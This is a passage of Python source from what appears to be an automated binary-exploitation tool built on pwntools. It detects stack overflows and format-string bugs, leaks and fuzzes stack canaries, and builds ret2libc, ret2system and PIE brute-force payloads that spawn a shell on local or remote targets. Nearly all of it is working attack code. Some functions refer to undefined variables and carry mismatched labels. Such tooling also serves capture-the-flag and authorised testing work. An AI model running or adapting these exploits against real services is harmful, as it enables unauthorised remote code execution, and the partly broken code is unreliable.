<(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)' functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL) vulnerable_functions = [] for func in functions: func_name = func.group(1) func_body = func.group(2) # Check for dangerous function calls with lea instruction dangerous_calls = ['read', 'gets', 'fgets', 'scanf'] has_lea = 'lea' in func_body has_dangerous_call = any(call in func_body for call in dangerous_calls) if has_lea and has_dangerous_call: lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body) if lea_match: offset_hex = lea_match.group(1) offset_dec = abs(int(offset_hex, 16)) alignment = 8 if bit == 64 else 4 padding = offset_dec + alignment vulnerable_functions.append({ 'name': func_name, 'stack_size': offset_dec, 'padding': padding }) if vulnerable_functions: print_section_header("VULNERABLE FUNCTIONS") headers = ["Function", "Stack Size", "Padding"] print_table_header(headers) for func in vulnerable_functions: colors = [Colors.YELLOW, Colors.END, Colors.SUCCESS] print_table_row([func['name'], f"{func['stack_size']} bytes", f"{func['padding']} bytes"], colors) print_info("") return vulnerable_functions[0]['padding'] # Return first found return None except Exception as e: print_error(f"failed to analyze vulnerable functions: {e}") return None def vuln_func_name(): """Find vulnerable function names from objdump scan""" try: with open("Objdump_Scan.txt", 'r') as f: content = f.read() functions = re.split(r'\n\n', content.strip()) results = [] for func in functions: func_name_match = re.search(r'<([^>]+)>', func) if not func_name_match: continue func_name = func_name_match.group(1) has_lea = bool(re.search(r'\s+lea\s', func)) has_call_read = bool(re.search(r'call.*read@plt', func)) has_call_read += bool(re.search(r'call.*gets@plt', func)) has_call_read += bool(re.search(r'call.*fgets@plt', func)) has_call_read += bool(re.search(r'call.*scanf@plt', func)) if has_lea and has_call_read: lea_match = re.search(r'lea\s+-\s*(0x[0-9a-f]+)', func) if lea_match: results.append(func_name) return results except Exception as e: print_error(f"failed to find vulnerable function names: {e}") return [] def asm_stack_overflow(program, bit): """Assembly-based stack overflow analysis with padding adjustment""" print_info("performing assembly-based overflow analysis") try: with open("Objdump_Scan.txt", 'r') as f: content = f.read() func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)' functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL) for func in functions: func_body = func.group(2) # Check for vulnerable patterns dangerous_calls = ['read', 'gets', 'fgets', 'scanf'] has_lea = 'lea' in func_body has_call = 'call' in func_body has_dangerous_call = any(call in func_body for call in dangerous_calls) if has_lea and has_call and has_dangerous_call: lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body) if lea_match: offset_hex = lea_match.group(1) offset_dec = abs(int(offset_hex, 16)) if bit == 64: padding = offset_dec + 8 else: padding = offset_dec + 4 print_success(f"stack size: {Colors.YELLOW}{offset_dec}{Colors.END} bytes") print_success(f"overflow padding adjustment: {Colors.YELLOW}{padding}{Colors.END} bytes") return padding return None except Exception as e: print_error(f"failed to perform assembly analysis: {e}") return None def check_binsh_string(program): """Check for /bin/sh string in binary""" print_info("checking for /bin/sh string") try: os.system(f'strings {program} | grep "/bin/sh" > check_binsh.txt') with open('check_binsh.txt', 'r') as file: content = file.read() if '/bin/sh' in content: print_success("/bin/sh string found in binary") return True else: print_warning("/bin/sh string not found in binary") return False except Exception as e: print_error(f"failed to check for /bin/sh string: {e}") return False def check_binsh(program): """Check for /bin/sh string in binary (pwnpasi_base.py compatible)""" os.system('strings ' + program +' | grep "/bin/sh" > check_binsh.txt') with open('check_binsh.txt', 'r') as file: content = file.read() return '/bin/sh' in content def detect_format_string_vulnerability(program): """Detect format string vulnerabilities""" print_info("testing for format string vulnerabilities") test_cases = [ b"%x" * 20, b"%p" * 20, b"%s" * 20, b"%n" * 5, b"AAAA%x%x%x%x", b"%99999999s", ] memory_pattern = re.compile(r'(0x[0-9a-fA-F]+)') vulnerable = False print_section_header("FORMAT STRING VULNERABILITY TEST") headers = ["Test Case", "Result", "Status"] print_table_header(headers) for i, case in enumerate(test_cases): try: proc = subprocess.Popen( [program], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) stdout, stderr = proc.communicate(input=case, timeout=2) result = "SAFE" color = Colors.SUCCESS if memory_pattern.search(stdout.decode()): result = "VULNERABLE" color = Colors.ERROR vulnerable = True if proc.returncode != 0: result = "CRASH" color = Colors.CRITICAL vulnerable = True case_str = case.decode()[:20] + "..." if len(case) > 20 else case.decode() colors = [Colors.END, Colors.END, color] print_table_row([case_str, result, "DETECTED" if result != "SAFE" else "NONE"], colors) except subprocess.TimeoutExpired: colors = [Colors.END, Colors.END, Colors.WARNING] print_table_row([case.decode()[:20], "TIMEOUT", "POSSIBLE"], colors) vulnerable = True except Exception as e: colors = [Colors.END, Colors.END, Colors.ERROR] print_table_row([case.decode()[:20], "ERROR", "UNKNOWN"], colors) print() if vulnerable: print_success("format string vulnerability detected!") return True else: print_warning("no format string vulnerability detected") return False def find_ftmstr_bss_symbols(program): """Find format string BSS symbols""" function = 0 with open(program, 'rb') as f: elf = ELFFile(f) symtab = elf.get_section_by_name('.symtab') if not symtab: print_warning("Did not find the variable used in the if-condition") return function for symbol in symtab.iter_symbols(): if (symbol['st_info'].type == 'STT_OBJECT' and symbol['st_size'] > 2 and '_' not in symbol.name): print_success(f"Found the variable used in the if-condition: {symbol.name}, address: {hex(symbol['st_value'])}") function = 1 buf_addr = hex(symbol['st_value']) function_name = symbol.name return function, buf_addr, function_name def find_offset(program): """Find format string offset""" print_info("searching for format string offset") p = process(program) payload = b'AAAA' + b'.%x' * 40 # Payload to leak stack values print_payload(f"testing payload: {payload[:20]}...") p.sendline(payload) try: output = p.recv(timeout=2) # Receive output from the program except: output = p.clean() # If timeout, clean buffer parts = output.split(b'.') # Split output by '.' for i in range(1, len(parts)): # Extract first word before space or newline after each '.' part = parts[i].split(b'\n')[0].split()[0] if b' ' in parts[i] else parts[i] try: val = int(part, 16) # Convert hex string to int if val == 0x41414141: # Check for 'AAAA' in hex p.close() print_success(f"format string offset found: {i}") return i # Return the offset where 'AAAA' appears except: continue p.close() print_error("offset not found") raise ValueError('[-]Offset not found') # Raise if not found def system_fmtstr(program, offset, buf_addr): """Format string exploitation (local)""" print_section_header("EXPLOITATION: Format String - Local") print_payload("preparing format string exploit") io = process(program) elf = ELF(program) buf_addr = int(buf_addr, 16) buf_addr = p32(buf_addr) system_addr = buf_addr offset_bytes = str(offset).encode() payload = system_addr + b'%' + offset_bytes + b'$n' print_payload(f"payload: {payload}") io.sendline(payload) # Handle successful exploitation handle_exploitation_success( 'Format String - Local', payload, 0, # No padding for format string { 'buf_addr': hex(int(buf_addr.hex(), 16)), 'system_addr': hex(int(system_addr.hex(), 16)), 'offset': str(offset) }, 'Format String Vulnerability', 'x32' ) io.interactive() def ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path): """ret2libc exploitation using write function (x64)""" print_section_header("EXPLOITATION: ret2libc (write) - x64") print_payload("preparing ret2libc exploit using write function") io = process(program) if libc == 1: if libc_path is None: print_info("using LibcSearcher for libc resolution") else: print_info(f"using detected libc: {libc_path}") libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") pop_rdi_addr = int(pop_rdi_addr, 16) pop_rsi_addr = int(pop_rsi_addr, 16) ret_addr = int(ret_addr, 16) # Stage 1: Leak write address print_payload("stage 1: leaking write address from GOT") if other_rsi_registers == 1: payload1 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(1), p64(pop_rsi_addr), p64(write_got), p64(0), p64(write_plt), p64(main_addr) ]) elif other_rdi_registers == 1: payload1 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(1), p64(0), p64(pop_rsi_addr), p64(write_got), p64(write_plt), p64(main_addr) ]) elif other_rdi_registers == 0 and other_rsi_registers == 0: payload1 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(1), p64(pop_rsi_addr), p64(write_got), p64(write_plt), p64(main_addr) ]) io.recv() io.sendline(payload1) write_addr = u64(io.recv(8)) print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") # Calculate system and /bin/sh addresses if libc == 1: libc = LibcSearcher("write", write_addr) libcbase = write_addr - libc.dump('write') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_write = libc.symbols['write'] system_addr = write_addr - libc_write + libc.symbols['system'] sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") # Stage 2: Execute system("/bin/sh") print_payload("stage 2: executing system('/bin/sh')") if other_rdi_registers == 1: payload2 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(sh_addr), p64(0), p64(system_addr), p64(0) ]) else: payload2 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(sh_addr), p64(system_addr), p64(0) ]) io.recv() io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (write) - x64', payload2, padding, { 'pop_rdi': hex(pop_rdi_addr), 'pop_rsi': hex(pop_rsi_addr), 'ret': hex(ret_addr), 'write_plt': hex(write_plt), 'write_got': hex(write_got), 'main': hex(main_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x64' ) io.interactive() def ret2libc_write_x32_remote(program, libc, padding, url, port): """ret2libc exploitation using write function (x32 remote)""" print_section_header("EXPLOITATION: ret2libc (write) - x32 Remote") print_payload("preparing ret2libc exploit using write function") io = remote(url, port) if libc == 1: print_info("using LibcSearcher for libc resolution") else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") # Stage 1: Leak write address print_payload("stage 1: leaking write address from GOT") payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) io.recv() io.sendline(payload1) write_addr = u32(io.recv(4)) print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") # Calculate system and /bin/sh addresses if libc == 1: libc = LibcSearcher("write", write_addr) libcbase = write_addr - libc.dump('write') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_write = libc.symbols['write'] system_addr = write_addr - libc_write + libc.symbols['system'] sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") # Stage 2: Execute system("/bin/sh") print_payload("stage 2: executing system('/bin/sh')") payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) io.recv() io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (puts) - x64', payload2, padding, { 'pop_rdi': hex(int(pop_rdi_addr.hex(), 16)), 'ret': hex(int(ret_addr.hex(), 16)), 'puts_plt': hex(puts_plt), 'puts_got': hex(puts_got), 'main': hex(main_addr), 'puts_addr': hex(puts_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x64' ) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port): """ret2libc exploitation using write function (x64 remote)""" print_section_header("EXPLOITATION: ret2libc (write) - x64 Remote") print_payload("preparing ret2libc exploit using write function") io = remote(url, port) if libc == 1: print_info("using LibcSearcher for libc resolution") else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") pop_rdi_addr = int(pop_rdi_addr, 16) pop_rsi_addr = int(pop_rsi_addr, 16) ret_addr = int(ret_addr, 16) # Stage 1: Leak write address print_payload("stage 1: leaking write address from GOT") if other_rsi_registers == 1: payload1 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(1), p64(pop_rsi_addr), p64(write_got), p64(0), p64(write_plt), p64(main_addr) ]) elif other_rdi_registers == 1: payload1 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(1), p64(0), p64(pop_rsi_addr), p64(write_got), p64(write_plt), p64(main_addr) ]) elif other_rdi_registers == 0 and other_rsi_registers == 0: payload1 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(1), p64(pop_rsi_addr), p64(write_got), p64(write_plt), p64(main_addr) ]) io.recv() io.sendline(payload1) write_addr = u64(io.recv(8)) print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") # Calculate system and /bin/sh addresses if libc == 1: libc = LibcSearcher("write", write_addr) libcbase = write_addr - libc.dump('write') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_write = libc.symbols['write'] system_addr = write_addr - libc_write + libc.symbols['system'] sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") # Stage 2: Execute system("/bin/sh") print_payload("stage 2: executing system('/bin/sh')") io.recv() if other_rdi_registers == 1: payload2 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(sh_addr), p64(0), p64(ret_addr), p64(system_addr) ]) else: payload2 = flat([ asm('nop') * padding, p64(pop_rdi_addr), p64(sh_addr), p64(ret_addr), p64(system_addr) ]) io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (puts) - x64', payload2, padding, { 'puts_plt': hex(puts_plt), 'puts_got': hex(puts_got), 'main': hex(main_addr), 'puts_addr': hex(puts_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x64' ) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def system_fmtstr_remote(program, offset, buf_addr, url, port): """Format string exploitation (remote)""" print_section_header("EXPLOITATION: Format String - Remote") print_payload("preparing format string exploit") io = remote(url, port) elf = ELF(program) buf_addr = int(buf_addr, 16) buf_addr = p64(buf_addr) system_addr = buf_addr offset_bytes = str(offset).encode() payload = system_addr + b'%' + offset_bytes + b'$n' print_payload(f"payload: {payload}") io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def fmtstr_print_strings(program): """Print strings using format string (local)""" print_section_header("FORMAT STRING LEAK - Local") print_info("leaking program strings using format string") elf = context.binary = ELF(program, checksec=False) for i in range(100): try: io = process(program, level='error') io.sendline('%{}$s'.format(i).encode()) result = io.recv() if result and len(result.strip()) > 0: print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}") io.close() except EOFError: pass def fmtstr_print_strings_remote(program, url, port): """Print strings using format string (remote)""" print_section_header("FORMAT STRING LEAK - Remote") print_info(f"leaking program strings from {url}:{port}") elf = context.binary = ELF(program, checksec=False) for i in range(100): try: io = remote(url, port) io.sendline('%{}$s'.format(i).encode()) result = io.recv() if result and len(result.strip()) > 0: print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}") io.close() except EOFError: pass def leakage_canary_value(program): """Leak canary values using format string""" print_info("leaking canary values") elf = context.binary = ELF(program, checksec=False) with open('canary.txt', 'w') as f: for i in range(100): try: with process(program) as p: p.sendline(f'%{i}$p'.encode()) p.recvline() result = p.recvline().decode().strip() if result: line = f"{result}\n" f.write(line) except EOFError: pass def canary_fuzz(program, bit): """Fuzz for canary bypass""" print_section_header("CANARY BYPASS FUZZING") print_info("fuzzing for canary bypass") if bit == 64: char = 'A' test = 'AAAAAAAA' with open('canary.txt', 'r') as f: lines = [line.strip() for line in f.readlines()[1:]] c = 1 i = 1 max_c = 300 max_i = len(lines) print_info(f"testing {max_i} canary values with {max_c} parameters") while c < max_c and i < max_i: current_line = lines[i] found_j = False exit_current = False for j in range(i + 1, max_i): if lines[j].startswith('0x8'): diff = j - i padding = 0 found_j = True print_info(f"testing parameter c={c}, diff={diff}") while padding <= 300: io = process(program) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() if result.startswith('0x'): result = int(result, 16) result = p64(result) input_data = flat([char * (padding + 1), result, test * diff]) io.recv() io.sendline(input_data) io.wait() if io.poll() == -11: padding = padding + 1 print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}") return padding, c, diff io.close() padding += 1 if padding > 300: print_warning(f"parameter c={c} test failed, trying next parameter") c += 1 i += 1 exit_current = True break break if exit_current: break if exit_current: continue if not found_j: i += 1 if i >= max_i: c += 1 i = 0 print_critical("All parameters tested, no valid offset found") padding = None return padding, None, None # Similar logic for 32-bit if bit == 32: char = 'A' test = 'AAAA' with open('canary.txt', 'r') as f: lines = [line.strip() for line in f.readlines()[1:]] c = 1 i = 1 max_c = 300 max_i = len(lines) while c < max_c and i < max_i: current_line = lines[i] found_j = False exit_current = False for j in range(i + 1, max_i): if lines[j].startswith('0x8'): diff = j - i padding = 0 found_j = True while padding <= 300: io = process(program) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print_info(f"Debug: c={c}, i={i}, padding={padding}, result={result}, diff={diff}") if result.startswith('0x'): result = int(result, 16) result = p32(result) input_data = flat([char * (padding + 1), result, test * diff]) io.recv() io.sendline(input_data) io.wait() if io.poll() == -11: padding = padding + 1 print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}") return padding, c, diff io.close() padding += 1 if padding > 300: print_warning(f"c={c} test failed, trying next parameter") c += 1 i += 1 exit_current = True break break if exit_current: break if exit_current: continue if not found_j: i += 1 if i >= max_i: c += 1 i = 0 print_critical("All parameters tested, no valid offset found") padding = None return padding, None, None def pie_backdoor_exploit(program, padding, backdoor, libc_path, libc, callsystem): """PIE backdoor exploitation (local)""" print_section_header("EXPLOITATION: PIE Backdoor - Local") print_payload("preparing PIE backdoor brute force") elf = ELF(program) if backdoor == 1: backdoor = elf.symbols["backdoor"] + 0x04 if callsystem == 1: backdoor = elf.symbols["callsystem"] + 0x04 backdoor_bytes = p64(backdoor) valid_bytes = backdoor_bytes.replace(b'\x00', b'') valid_byte_length = len(valid_bytes) cleaned_bytes = backdoor_bytes[:valid_byte_length] payload = asm("nop") * padding + cleaned_bytes count = 1 print_info("starting PIE brute force attack") while True: io = process(program) try: count += 1 print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]") io.recv() io.send(payload) recv = io.recv(timeout=10) except: print_warning(f"attempt {count} failed", prefix="[BRUTE]") else: print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() break def pie_backdoor_exploit_remote(program, padding, backdoor, libc_path, libc, url, port, callsystem): """PIE backdoor exploitation (remote)""" print_section_header("EXPLOITATION: PIE Backdoor - Remote") print_payload("preparing PIE backdoor brute force") elf = ELF(program) if backdoor == 1: backdoor = elf.symbols["backdoor"] + 0x04 if callsystem == 1: backdoor = elf.symbols["callsystem"] + 0x04 backdoor_bytes = p64(backdoor) valid_bytes = backdoor_bytes.replace(b'\x00', b'') valid_byte_length = len(valid_bytes) cleaned_bytes = backdoor_bytes[:valid_byte_length] payload = asm("nop") * padding + cleaned_bytes count = 1 print_info(f"starting PIE brute force attack against {Colors.YELLOW}{url}:{port}{Colors.END}") while True: io = remote(url, port) try: count += 1 print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]") io.recv() io.send(payload) recv = io.recv(timeout=10) except: print_warning(f"attempt {count} failed", prefix="[BRUTE]") else: print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() break # Exploitation functions with improved output def ret2libc_write_x32(program, libc, padding, libc_path): """ret2libc exploitation using write function (x32)""" print_section_header("EXPLOITATION: ret2libc (write) - x32") print_payload("preparing ret2libc exploit using write function") io = process(program) if libc == 1: if libc_path is None: print_info("using LibcSearcher for libc resolution") else: print_info(f"using detected libc: {libc_path}") libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") # Stage 1: Leak write address print_payload("stage 1: leaking write address from GOT") payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) io.recv() io.sendline(payload1) write_addr = u32(io.recv(4)) print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") # Calculate system and /bin/sh addresses if libc == 1: libc = LibcSearcher("write", write_addr) libcbase = write_addr - libc.dump('write') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_write = libc.symbols['write'] system_addr = write_addr - libc_write + libc.symbols['system'] sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") # Stage 2: Execute system("/bin/sh") print_payload("stage 2: executing system('/bin/sh')") payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) io.recv() io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (puts) - x64 Remote', payload2, padding, { 'puts_plt': hex(puts_plt), 'puts_got': hex(puts_got), 'main': hex(main_addr), 'puts_addr': hex(puts_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x64' ) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2_system_x32(program, libc, padding, libc_path): """ret2system exploitation (x32)""" print_section_header("EXPLOITATION: ret2system - x32") print_payload("preparing ret2system exploit") io = process(program) e = ELF(program) system_addr = e.symbols['system'] bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr) io.sendline(payload) handle_exploitation_success( exploit_type='ret2system - x32', payload=payload, padding=padding, addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr}, vulnerability_type='Buffer Overflow', architecture='x32' ) io.interactive() def ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path): """ret2system exploitation (x64)""" print_section_header("EXPLOITATION: ret2system - x64") print_payload("preparing ret2system exploit") if pop_rdi_addr == None: print_error("pop rdi gadget not found, exploitation not possible") sys.exit(0) io = process(program) e = ELF(program) system_addr = e.symbols['system'] bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) ret_addr = int(ret_addr, 16) ret_addr = p64(ret_addr) if other_rdi_registers == 1: payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) elif other_rdi_registers == 0: payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)]) io.sendline(payload) handle_exploitation_success( exploit_type='ret2system - x64', payload=payload, padding=padding, addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr, 'pop_rdi_addr': pop_rdi_addr, 'ret_addr': ret_addr}, vulnerability_type='Buffer Overflow', architecture='x64' ) io.interactive() def ret2_system_x32_remote(program, libc, padding, url, port): """ret2system exploitation (x32 remote)""" print_section_header("EXPLOITATION: ret2system - x32 Remote") print_payload("preparing ret2system exploit") io = remote(url, port) e = ELF(program) system_addr = e.symbols['system'] bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr) io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port): """ret2system exploitation (x64 remote)""" print_section_header("EXPLOITATION: ret2system - x64 Remote") print_payload("preparing ret2system exploit") if pop_rdi_addr == None: print_error("pop rdi gadget not found, exploitation not possible") sys.exit(0) io = remote(url, port) e = ELF(program) system_addr = e.symbols['system'] bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) ret_addr = int(ret_addr, 16) ret_addr = p64(ret_addr) if other_rdi_registers == 1: payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) elif other_rdi_registers == 0: payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)]) io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_put_x32(program, libc, padding, libc_path): """ret2libc exploitation using puts function (x32)""" print_section_header("EXPLOITATION: ret2libc (puts) - x32") print_payload("preparing ret2libc exploit using puts function") io = process(program) if libc == 1: if libc_path == None: print_info("using LibcSearcher") else: print_info(f"using detected libc: {libc_path}") libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}") print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}") payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got) io.recv() io.sendline(payload1) puts_addr = u32(io.recvuntil(b'\xf7')[-4:]) print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") if libc == 1: libc = LibcSearcher("puts", puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_puts = libc.symbols['puts'] system_addr = puts_addr - libc_puts + libc.symbols['system'] sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (puts) - x32', payload2, padding, { 'puts_plt': hex(puts_plt), 'puts_got': hex(puts_got), 'main': hex(main_addr), 'puts_addr': hex(puts_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x32' ) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_put_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path): """ret2libc exploitation using puts function (x64)""" print_section_header("EXPLOITATION: ret2libc (puts) - x64") print_payload("preparing ret2libc exploit using puts function") io = process(program) if libc == 1: if libc_path is None: print_info("using LibcSearcher") else: print_info(f"using detected libc: {libc_path}") libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) # First payload: leak puts address from GOT payload1 = flat([ asm('nop') * padding, pop_rdi_addr, p64(puts_got), p64(puts_plt), p64(main_addr) ]) io.recv() io.sendline(payload1) puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") # Calculate libc base and system, /bin/sh addresses if libc == 1: libc = LibcSearcher("puts", puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_puts = libc.symbols['puts'] system_addr = puts_addr - libc_puts + libc.symbols['system'] sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 